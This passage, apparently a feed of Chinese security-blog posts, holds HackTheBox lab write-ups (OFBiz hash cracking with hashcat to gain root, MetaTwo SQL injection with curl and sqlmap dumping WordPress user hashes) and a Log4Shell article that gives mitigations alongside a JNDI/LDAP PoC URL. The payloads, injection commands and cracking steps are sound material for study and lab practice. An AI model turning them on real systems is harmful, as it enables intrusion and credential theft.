    return doCompareTypePrefix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
    } else if (crypted.startsWith("$")) {
    return doComparePosix(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
    } else {
    return doCompareBare(crypted, defaultCrypt, password.getBytes(UtilIO.getUtf8()));
    }
    }

    private static boolean doCompareTypePrefix(String crypted, String defaultCrypt, byte[] bytes) {
    int typeEnd = crypted.indexOf("}");
    String hashType = crypted.substring(1, typeEnd);
    String hashed = crypted.substring(typeEnd + 1);
    MessageDigest messagedigest = getMessageDigest(hashType);
    messagedigest.update(bytes);
    byte[] digestBytes = messagedigest.digest();
    char[] digestChars = Hex.encodeHex(digestBytes);
    String checkCrypted = new String(digestChars);
    if (hashed.equals(checkCrypted)) {
    return true;
    }
    // This next block should be removed when all {prefix}oldFunnyHex are fixed.
    if (hashed.equals(oldFunnyHex(digestBytes))) {
    Debug.logWarning("Warning: detected oldFunnyHex password prefixed with a hashType; this is not valid, please update the value in the database with ({%s}%s)", module, hashType, checkCrypted);
    return true;
    }
    return false;
    }

    private static boolean doComparePosix(String crypted, String defaultCrypt, byte[] bytes) {
    int typeEnd = crypted.indexOf("$", 1);
    int saltEnd = crypted.indexOf("$", typeEnd + 1);
    String hashType = crypted.substring(1, typeEnd);
    String salt = crypted.substring(typeEnd + 1, saltEnd);
    String hashed = crypted.substring(saltEnd + 1);
    return hashed.equals(getCryptedBytes(hashType, salt, bytes));
    }

    private static boolean doCompareBare(String crypted, String defaultCrypt, byte[] bytes) {
    String hashType = defaultCrypt;
    String hashed = crypted;
    MessageDigest messagedigest = getMessageDigest(hashType);
    messagedigest.update(bytes);
    return hashed.equals(oldFunnyHex(messagedigest.digest()));
    }

    /*
    * @deprecated use cryptBytes(hashType, salt, password); eventually, use
    * cryptUTF8(hashType, salt, password) after all existing installs are
    * salt-based. If the call-site of cryptPassword is just used to create a *new*
    * value, then you can switch to cryptUTF8 directly.
    */
    @Deprecated
    public static String cryptPassword(String hashType, String salt, String password) {
    if (hashType.startsWith("PBKDF2")) {
    return password != null ? pbkdf2HashCrypt(hashType, salt, password) : null;
    }
    return password != null ? cryptBytes(hashType, salt, password.getBytes(UtilIO.getUtf8())) : null;
    }

    public static String cryptUTF8(String hashType, String salt, String value) {
    if (hashType.startsWith("PBKDF2")) {
    return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
    }
    return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
    }

    public static String cryptValue(String hashType, String salt, String value) {
    if (hashType.startsWith("PBKDF2")) {
    return value != null ? pbkdf2HashCrypt(hashType, salt, value) : null;
    }
    return value != null ? cryptBytes(hashType, salt, value.getBytes(UtilIO.getUtf8())) : null;
    }

    public static String cryptBytes(String hashType, String salt, byte[] bytes) {
    if (hashType == null) {
    hashType = "SHA";
    }
    if (salt == null) {
    salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
    }
    StringBuilder sb = new StringBuilder();
    sb.append("$").append(hashType).append("$").append(salt).append("$");
    sb.append(getCryptedBytes(hashType, salt, bytes));
    return sb.toString();
    }

    private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
    try {
    MessageDigest messagedigest = MessageDigest.getInstance(hashType);
    messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
    messagedigest.update(bytes);
    return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
    } catch (NoSuchAlgorithmException e) {
    throw new GeneralRuntimeException("Error while comparing password", e);
    }
    }

    public static String pbkdf2HashCrypt(String hashType, String salt, String value){
    char[] chars = value.toCharArray();
    if (UtilValidate.isEmpty(salt)) {
    salt = getSalt();
    }
    try {
    PBEKeySpec spec = new PBEKeySpec(chars, salt.getBytes(UtilIO.getUtf8()), PBKDF2_ITERATIONS, 64 * 4);
    SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
    byte[] hash = Base64.encodeBase64(skf.generateSecret(spec).getEncoded());
    String pbkdf2Type = null;
    switch (hashType) {
    case "PBKDF2WithHmacSHA1":
    pbkdf2Type = PBKDF2_SHA1;
    break;
    case "PBKDF2WithHmacSHA256":
    pbkdf2Type = PBKDF2_SHA256;
    break;
    case "PBKDF2WithHmacSHA384":
    pbkdf2Type = PBKDF2_SHA384;
    break;
    case "PBKDF2WithHmacSHA512":
    pbkdf2Type = PBKDF2_SHA512;
    break;
    default:
    pbkdf2Type = PBKDF2_SHA1;
    }
    StringBuilder sb = new StringBuilder();
    sb.append("{").append(pbkdf2Type).append("}");
    sb.append(PBKDF2_ITERATIONS).append("$");
    sb.append(org.apache.ofbiz.base.util.Base64.base64Encode(salt)).append("$");
    sb.append(new String(hash));
    return sb.toString();
    } catch (InvalidKeySpecException e) {
    throw new GeneralRuntimeException("Error while creating SecretKey", e);
    } catch (NoSuchAlgorithmException e) {
    throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
    }
    }

    public static boolean doComparePbkdf2(String crypted, String password){
    try {
    int typeEnd = crypted.indexOf("}");
    String hashType = crypted.substring(1, typeEnd);
    String[] parts = crypted.split("\\$");
    int iterations = Integer.parseInt(parts[0].substring(typeEnd+1));
    byte[] salt = org.apache.ofbiz.base.util.Base64.base64Decode(parts[1]).getBytes(UtilIO.getUtf8());
    byte[] hash = Base64.decodeBase64(parts[2].getBytes(UtilIO.getUtf8()));

    PBEKeySpec spec = new PBEKeySpec(password.toCharArray(), salt, iterations, hash.length * 8);
    switch (hashType.substring(hashType.indexOf("-")+1)) {
    case "SHA256":
    hashType = "PBKDF2WithHmacSHA256";
    break;
    case "SHA384":
    hashType = "PBKDF2WithHmacSHA384";
    break;
    case "SHA512":
    hashType = "PBKDF2WithHmacSHA512";
    break;
    default:
    hashType = "PBKDF2WithHmacSHA1";
    }
    SecretKeyFactory skf = SecretKeyFactory.getInstance(hashType);
    byte[] testHash = skf.generateSecret(spec).getEncoded();
    int diff = hash.length ^ testHash.length;

    for (int i = 0; i < hash.length && i < testHash.length; i++) {
    diff |= hash[i] ^ testHash[i];
    }

    return diff == 0;
    } catch (NoSuchAlgorithmException e) {
    throw new GeneralRuntimeException("Error while computing SecretKeyFactory", e);
    } catch (InvalidKeySpecException e) {
    throw new GeneralRuntimeException("Error while creating SecretKey", e);
    }
    }

    private static String getSalt() {
    try {
    SecureRandom sr = SecureRandom.getInstance("SHA1PRNG");
    byte[] salt = new byte[16];
    sr.nextBytes(salt);
    return Arrays.toString(salt);
    } catch (NoSuchAlgorithmException e) {
    throw new GeneralRuntimeException("Error while creating salt", e);
    }
    }

    public static String digestHash(String hashType, String code, String str) {
    if (str == null) {
    return null;
    }
    byte[] codeBytes;
    try {
    if (code == null) {
    codeBytes = str.getBytes(UtilIO.getUtf8());
    } else {
    codeBytes = str.getBytes(code);
    }
    } catch (UnsupportedEncodingException e) {
    throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
    }
    return digestHash(hashType, codeBytes);
    }

    public static String digestHash(String hashType, byte[] bytes) {
    try {
    MessageDigest messagedigest = MessageDigest.getInstance(hashType);
    messagedigest.update(bytes);
    byte[] digestBytes = messagedigest.digest();
    char[] digestChars = Hex.encodeHex(digestBytes);

    StringBuilder sb = new StringBuilder();
    sb.append("{").append(hashType).append("}");
    sb.append(digestChars, 0, digestChars.length);
    return sb.toString();
    } catch (NoSuchAlgorithmException e) {
    throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
    }
    }

    public static String digestHash64(String hashType, byte[] bytes) {
    if (hashType == null) {
    hashType = "SHA";
    }
    try {
    MessageDigest messagedigest = MessageDigest.getInstance(hashType);
    messagedigest.update(bytes);
    byte[] digestBytes = messagedigest.digest();

    StringBuilder sb = new StringBuilder();
    sb.append("{").append(hashType).append("}");
    sb.append(Base64.encodeBase64URLSafeString(digestBytes).replace('+', '.'));
    return sb.toString();
    } catch (NoSuchAlgorithmException e) {
    throw new GeneralRuntimeException("Error while computing hash of type " + hashType, e);
    }
    }

    /**
    * @deprecated use cryptPassword
    */
    @Deprecated
    public static String getHashTypeFromPrefix(String hashString) {
    if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
    return null;
    }

    return hashString.substring(1, hashString.indexOf('}'));
    }

    /**
    * @deprecated use cryptPassword
    */
    @Deprecated
    public static String removeHashTypePrefix(String hashString) {
    if (UtilValidate.isEmpty(hashString) || hashString.charAt(0) != '{') {
    return hashString;
    }

    return hashString.substring(hashString.indexOf('}') + 1);
    }

    /**
    * @deprecated use digestHashOldFunnyHex(hashType, str)
    */
    @Deprecated
    public static String getDigestHashOldFunnyHexEncode(String str, String hashType) {
    return digestHashOldFunnyHex(hashType, str);
    }

    public static String digestHashOldFunnyHex(String hashType, String str) {
    if (UtilValidate.isEmpty(hashType)) {
    hashType = "SHA";
    }
    if (str == null) {
    return null;
    }
    try {
    MessageDigest messagedigest = MessageDigest.getInstance(hashType);
    byte[] strBytes = str.getBytes(UtilIO.getUtf8());

    messagedigest.update(strBytes);
    return oldFunnyHex(messagedigest.digest());
    } catch (Exception e) {
    Debug.logError(e, "Error while computing hash of type " + hashType, module);
    }
    return str;
    }

    // This next block should be removed when all {prefix}oldFunnyHex are fixed.
    private static String oldFunnyHex(byte[] bytes) {
    int k = 0;
    char[] digestChars = new char[bytes.length * 2];
    for (byte b : bytes) {
    int i1 = b;

    if (i1 < 0) {
    i1 = 127 + i1 * -1;
    }
    StringUtil.encodeInt(i1, k, digestChars);
    k += 2;
    }
    return new String(digestChars);
    }
    }

    根据源码的编码方式,进行反向解码:

    1
    $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

    Therefore, we know that the hashType is SHA , the salt is a single letter d , and the rest
    (uP0_QaVBpDWFeo8-dRzDqRwXQ2I ) are the hashed bytes.

    So, we now know that the characters are Base64-encoded, but without padding, and with + and
    / characters replaced by - and _ , respectively.

    解码得到hex:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import base64

    # Base64URL-encoded hash
    base64url_encoded = "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"

    # Step 1: Replace URL-safe characters
    base64_encoded = base64url_encoded.replace('-', '+').replace('_', '/')
    print("Base64 Encoded:", base64_encoded)

    # Step 2: Add padding if necessary
    while len(base64_encoded) % 4 != 0:
    base64_encoded += '='
    print("Base64 Encoded with Padding:", base64_encoded)

    # Step 3: Decode the Base64 string
    decoded_bytes = base64.b64decode(base64_encoded)
    print("Decoded Bytes:", decoded_bytes)

    # Step 4: Convert bytes to hex
    hex_string = decoded_bytes.hex()
    print("Hex Representation:", hex_string)
    1
    b8fd3f41a541a435857a8f3e751cc3a91c174362

    破解密码

    注意加盐d,其中参数-m 120:指定哈希类型为 SHA-1 加盐

    hash.txt

    1
    b8fd3f41a541a435857a8f3e751cc3a91c174362:d

    运行hashcat

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# hashcat -m 120 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
    hashcat (v6.2.6) starting

    OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
    ====================================================================================================================================
    * Device #1: cpu--0x000, 1437/2939 MB (512 MB allocatable), 2MCU

    Minimum password length supported by kernel: 0
    Maximum password length supported by kernel: 256
    Minimim salt length supported by kernel: 0
    Maximum salt length supported by kernel: 256

    Hashes: 1 digests; 1 unique digests, 1 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
    Rules: 1

    Optimizers applied:
    * Zero-Byte
    * Early-Skip
    * Not-Iterated
    * Single-Hash
    * Single-Salt
    * Raw-Hash

    ATTENTION! Pure (unoptimized) backend kernels selected.
    Pure kernels can crack longer passwords, but drastically reduce performance.
    If you want to switch to optimized kernels, append -O to your commandline.
    See the above message to find out about the exact limits.

    Watchdog: Temperature abort trigger set to 90c

    Host memory required for this attack: 0 MB

    Dictionary cache built:
    * Filename..: /usr/share/wordlists/rockyou.txt
    * Passwords.: 14344392
    * Bytes.....: 139921507
    * Keyspace..: 14344385
    * Runtime...: 0 secs

    b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

    Session..........: hashcat
    Status...........: Cracked
    Hash.Mode........: 120 (sha1($salt.$pass))
    Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
    Time.Started.....: Sun Sep 15 23:24:42 2024 (1 sec)
    Time.Estimated...: Sun Sep 15 23:24:43 2024 (0 secs)
    Kernel.Feature...: Pure Kernel
    Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
    Guess.Queue......: 1/1 (100.00%)
    Speed.#1.........: 4712.6 kH/s (0.04ms) @ Accel:256 Loops:1 Thr:1 Vec:4
    Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
    Progress.........: 1478656/14344385 (10.31%)
    Rejected.........: 0/1478656 (0.00%)
    Restore.Point....: 1478144/14344385 (10.30%)
    Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
    Candidate.Engine.: Device Generator
    Candidates.#1....: monky1994 -> monkey-moo
    Hardware.Mon.#1..: Util: 71%

    Started: Sun Sep 15 23:24:41 2024
    Stopped: Sun Sep 15 23:24:44 2024

    爆破成功:b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

    获得破解后的密码:monkeybizness

    su root

    输入此密码获得root.txt

    结束!

    遇到的问题

    下载文件时提示磁盘已满。在VM中扩容20G。进入kali, 打开工具。

    先关闭linux-swap,右键swap-off.

    将unallocated扩充到linux-swap上,再将linux-swap扩容到/dev/即可。

    gparted

    运行hashcat,提示* Device #1: Not enough allocatable device memory for this attack.

    修改kali-VM的内存为4G,再运行hashcat即可。

    对于已经爆破成功的文件:第二次只用show参数即可,不需要重复多次爆破。

    1
    2
    3
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB/Bizness]
    └─# hashcat -m 120 --show hash.txt
    b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
    ]]>
    + + + + + HTB + + + + + + + HTB + + + +
    + + + + + Log4jShell事件 + + /2024/09/14/log4j/ + + 简介

    Log4j 漏洞又称“Log4Shell”,是 2021 年 11 月在 Apache Log4j 日志库中发现的一个严重漏洞。Apache log4j 是一个开源的基于 Java 的日志框架,它允许开发人员将 Log4J 库插入到自己的应用程序中,而无需编写专用的日志记录器。这种便利性是 Log4J 被广泛使用的原因。它被广泛用于大量商业软件中,例如 Steam 和 Apple iCloud。它还被广泛用于其他网站框架基础,例如 Elasticsearch、Kafka 等。
    Log4Shell 是 Apache Log4J 2.14.1 及更早版本中的远程代码执行 (RCE) 漏洞,其常见漏洞披露标识符为 CVE-2021-44228。Log4j 漏洞是互联网历史上最具破坏性的漏洞之一。
    根据IBM官方威胁情报记录,Log4j漏洞导致2021年12月全球网络攻击数量激增。
    研究人员认为,Log4Shell是一个“灾难性”的0 Day漏洞,因为Log4J是全球部署最广泛的开源程序之一,而且该漏洞不需要特殊权限或身份验证,很容易被黑客利用。
    美国网络安全和基础设施安全局(CISA)局长Jen Easterly在接受媒体采访时表示,这是她职业生涯中见过的最严重的事件。她还表示,CISA正在积极与公共和私营部门的合作伙伴合作,解决影响包含Log4j软件库的产品的关键漏洞。

    受影响版本:

    1
    Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed.

    Incident Timeline

    缓解措施

    Log4j漏洞,也称为 **Log4Shell (CVE-2021-44228)**,是一个严重的远程代码执行(RCE)漏洞,影响了 Apache Log4j 2 版本。这一漏洞允许攻击者通过向日志记录输入恶意的JNDI(Java Naming and Directory Interface)查找字符串,触发服务器下载和执行恶意代码。

    为了防止该漏洞的利用,以下是一些缓解措施和修复步骤。

    升级 Log4j 版本

    这是最有效的解决方案。Apache 官方已经发布了修复版本,建议尽快升级到2.15以上版本

    禁用 JNDI 功能

    如果暂时无法升级 Log4j,可以通过禁用 JNDI 功能来缓解漏洞。

    修改 Log4j 配置:

    • 禁用 JNDI 查找功能:可以通过系统属性来禁用 JNDI 查找。

    在 JVM 启动时添加以下系统属性:

    1
    -Dlog4j2.formatMsgNoLookups=true

    这将禁用日志事件中对 ${jndi:} 查找的解析。

    注意:该方法适用于 Log4j 2.10 至 2.14.1 的版本。对于 Log4j 2.15.0 及以上版本,这个选项默认被启用,但最好还是尽快升级到最新版本。

    移除 JndiLookup 类

    对于无法及时升级的情况,还可以通过移除 JndiLookup 类来减轻漏洞影响。

    1. 找到 Log4j jar 文件。

    2. 使用以下命令移除 JndiLookup 类:

      1
      zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

    这会从 log4j-core jar 文件中删除该类,从而禁用 JNDI 查找。

    外出网络流量限制

    虽然这并不能完全修复漏洞,但可以通过限制外部网络访问和加强防火墙规则来减少被攻击的风险。

    • 禁用对外部 LDAP 和 RMI 服务的访问:JNDI 查找功能依赖于外部 LDAP 和 RMI 服务,限制这些访问可以减少漏洞被利用的机会。
    • 在防火墙或网络层面上,阻止访问 LDAP(端口 389、636)RMI(端口 1099)

    配置WAF规则

    • **使用 Web 应用防火墙 (WAF)**:可以配置 WAF 规则,阻止带有 ${jndi:${ctx: 等可能利用 Log4j 的字符串请求。
    • 容器化环境修复:如果你的应用运行在容器环境中,确保基础镜像已经升级到不受漏洞影响的版本。

    总结

    • 最佳解决方案:升级到 Log4j 2.15或更高版本。
    • 短期缓解措施:通过 -Dlog4j2.formatMsgNoLookups=true 禁用 JNDI 查找功能,或者移除 JndiLookup 类。
    • 其他防御措施:加强网络限制、监控日志中的可疑活动,使用防火墙规则限制外部 LDAP/RMI 请求。

    扫描漏洞

    https://github.com/fullhunt/log4j-scan

    https://github.com/cisagov/log4j-scanner

    https://github.com/proferosec/log4jScanner

    需要指定一个DNS callback服务器。比如dnslog.cn

    漏洞复现

    通过使用了这个库的应用来复现这个漏洞,比如Apache Solr。

    通过vulhub提供的镜像,启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

    1
    2
    cd vulhub-master/log4j/CVE-2021-44228
    docker compose up -d

    服务启动后,访问http://localhost:8983即可查看到Apache Solr的后台页面。

    Poc:

    1
    http://localhost:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.bf5c23cc.log.dnslog.biz.}

    https://dnslog.org/ 中看到DNS解析纪录中,返回了java版本。漏洞复现成功。

    dnslog

    也可使用Marshalsec进行LDAP,RMI漏洞利用。

    参考

    https://github.com/pentesterland/Log4Shell

    https://www.51cto.com/article/714872.html

    https://www.youtube.com/watch?v=XC3Oqn_yADk

    https://www.youtube.com/watch?v=Opqgwn8TdlM

    https://www.youtube.com/watch?v=7qoPDq41xhQ

    遇到的问题

    docker问题

    vulhub提供的都是amd的docker镜像,在arm的linux虚拟机里跑不起来。用https://github.com/vulhub/vulhub/issues/478 用的解决方法也未成功。

    于是在Mac上启动docker, Use Rosetta for x86_64/amd64 emulation on Apple Silicon.

    JNDInjector

    本来准备用JNDInjector这个工具,但是运行报错,在官网下载JavaFX的aarch64架构的JDK,下载后发现java版本不匹配。升级java:

    访问Azul Zulu的下载页面: https://www.azul.com/downloads/?package=jdk#zulu

    选择Java 17 (LTS)版本,下载dmg并安装。

    验证是否安装成功

    1
    /usr/libexec/java_home -V

    添加环境变量

    1
    echo 'export JAVA_HOME=$(/usr/libexec/java_home -v 17)' >> ~/.zshrc

    查看版本

    1
    2
    3
    4
    java --version
    openjdk 17.0.12 2024-07-16 LTS
    OpenJDK Runtime Environment Zulu17.52+17-CA (build 17.0.12+7-LTS)
    OpenJDK 64-Bit Server VM Zulu17.52+17-CA (build 17.0.12+7-LTS, mixed mode, sharing)
    1
    java -verbose:class --module-path ./javafx-sdk-21.0.4/lib --add-modules javafx.controls,javafx.fxml -jar JNDInjector.jar

    还是跑不起来,暂时作罢。

    Latex Test

    $\sum_{i=0}^n i^2 = \frac{(n^2+n)(2n+1)}{6}$

    $$
    \left.x^2\right\rvert_3^5 = 5^2-3^2
    $$

    ]]>
    + + + + + Incident Review + + + + + + + Incident Review + + + +
    + + + + + HTB_MetaTwo + + /2024/09/11/HTB_MetaTwo/ + + 信息收集
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
    └─# nmap -sV $IP
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-15 14:53 AEST
    Stats: 0:02:29 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
    Service scan Timing: About 66.67% done; ETC: 14:57 (0:01:15 remaining)
    Nmap scan report for 10.129.231.241
    Host is up (0.0093s latency).
    Not shown: 997 closed tcp ports (reset)
    PORT STATE SERVICE VERSION
    21/tcp open ftp?
    22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
    80/tcp open http nginx 1.18.0
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 161.02 seconds

    If we go to http://$IP, we are redirected to http://metapress.htb, so we need to add this domain in /etc/hosts

    1
    2
    vim /etc/host
    $IP metapress.htb

    使用浏览器插件Wappalyzer检查wordpress版本,php版本。

    1
    2
    WordPress 5.6.2
    PHP 8.0.24

    SQL注入

    进入到网站event目录下,检查源码发现bookingpress plugin版本是1.0.10,存在漏洞CVE-2022-0739

    在网页源码中找到字段_wpnonce对应的值1d0870781e,使用https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357/ POC进行探测。

    1
    2
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
    └─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'

    返回结果如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
    └─# curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
    HTTP/1.1 200 OK
    Server: nginx/1.18.0
    Date: Sun, 15 Sep 2024 05:25:30 GMT
    Content-Type: text/html; charset=UTF-8
    Transfer-Encoding: chunked
    Connection: keep-alive
    X-Powered-By: PHP/8.0.24
    X-Robots-Tag: noindex
    X-Content-Type-Options: nosniff
    Expires: Wed, 11 Jan 1984 05:00:00 GMT
    Cache-Control: no-cache, must-revalidate, max-age=0
    X-Frame-Options: SAMEORIGIN
    Referrer-Policy: strict-origin-when-cross-origin

    [{"bookingpress_service_id":"10.5.15-MariaDB-0+deb11u1","bookingpress_category_id":"Debian 11","bookingpress_service_name":"debian-linux-gnu","bookingpress_service_price":"$1.00","bookingpress_service_duration_val":"2","bookingpress_service_duration_unit":"3","bookingpress_service_description":"4","bookingpress_service_position":"5","bookingpress_servicedate_created":"6","service_price_without_currency":1,"img_url":"http:\/\/metapress.htb\/wp-content\/plugins\/bookingpress-appointment-booking\/images\/placeholder-img.jpg"}]

    此结果说明确实存在Sql注入漏洞。

    方法1

    使用sqlmap

    1
    2
    3
    sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data 
    "action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&catego
    ry_id=123&total_service=111" -p total_service --level=5 --risk=3 --dbs

    扫描结果:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    [15:30:38] [INFO] the back-end DBMS is MySQL
    web application technology: PHP 8.0.24, Nginx 1.18.0
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
    [15:30:38] [INFO] fetching database names
    available databases [2]:
    [*] blog
    [*] information_schema

    [15:30:38] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

    [*] ending @ 15:30:38 /2024-09-15/

    继续:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
    └─# sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog --tables
    ___
    __H__
    ___ ___["]_____ ___ ___ {1.8.8#stable}
    |_ -| . [)] | .'| . |
    |___|_ [']_|_|_|__,| _|
    |_|V... |_| https://sqlmap.org

    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

    [*] starting @ 15:31:57 /2024-09-15/

    [15:31:57] [INFO] resuming back-end DBMS 'mysql'
    [15:31:57] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: total_service (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=-3077) OR 8095=8095-- ISEb

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) AND (SELECT 5120 FROM (SELECT(SLEEP(5)))WRSg)-- lhbW

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111) UNION ALL SELECT NULL,CONCAT(0x717a767171,0x4253565341777451764c4358734e655958576c53574e484873657447514d6c4365647363534f6255,0x716a627671),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
    ---
    [15:31:57] [INFO] the back-end DBMS is MySQL
    web application technology: Nginx 1.18.0, PHP 8.0.24
    back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
    [15:31:57] [INFO] fetching tables for database: 'blog'
    Database: blog
    [27 tables]
    +--------------------------------------+
    | wp_bookingpress_appointment_bookings |
    | wp_bookingpress_categories |
    | wp_bookingpress_customers |
    | wp_bookingpress_customers_meta |
    | wp_bookingpress_customize_settings |
    | wp_bookingpress_debug_payment_log |
    | wp_bookingpress_default_daysoff |
    | wp_bookingpress_default_workhours |
    | wp_bookingpress_entries |
    | wp_bookingpress_form_fields |
    | wp_bookingpress_notifications |
    | wp_bookingpress_payment_logs |
    | wp_bookingpress_services |
    | wp_bookingpress_servicesmeta |
    | wp_bookingpress_settings |
    | wp_commentmeta |
    | wp_comments |
    | wp_links |
    | wp_options |
    | wp_postmeta |
    | wp_posts |
    | wp_term_relationships |
    | wp_term_taxonomy |
    | wp_termmeta |
    | wp_terms |
    | wp_usermeta |
    | wp_users |
    +--------------------------------------+

    [15:31:57] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/metapress.htb'

    [*] ending @ 15:31:57 /2024-09-15/

    表wp_users中存放着用户数据信息。对此表进行爆破

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ┌──(root@kali)-[/home/h4m5t/Desktop/HTB]
    └─# sqlmap -u "http://metapress.htb/wp-admin/admin-ajax.php" --method POST --data "action=bookingpress_front_get_category_services&_wpnonce=1d0870781e&category_id=123&total_service=111" -p total_service --level=5 --risk=3 -D blog -T wp_users --dump

    Database: blog
    Table: wp_users
    [2 entries]
    +----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
    | ID | user_url | user_pass | user_email | user_login | user_status | display_name | user_nicename | user_registered | user_activation_key |
    +----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
    | 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb | admin | 0 | admin | admin | 2022-06-23 17:58:28 | <blank> |
    | 2 | <blank> | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager | 0 | manager | manager | 2022-06-23 18:07:55 | <blank> |
    +----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+

    [15:38:24] [INFO] table 'blog.wp_users' dumped to CSV file '/root/.local/share/sqlmap/output/metapress.htb/dump/blog/wp_users.csv'
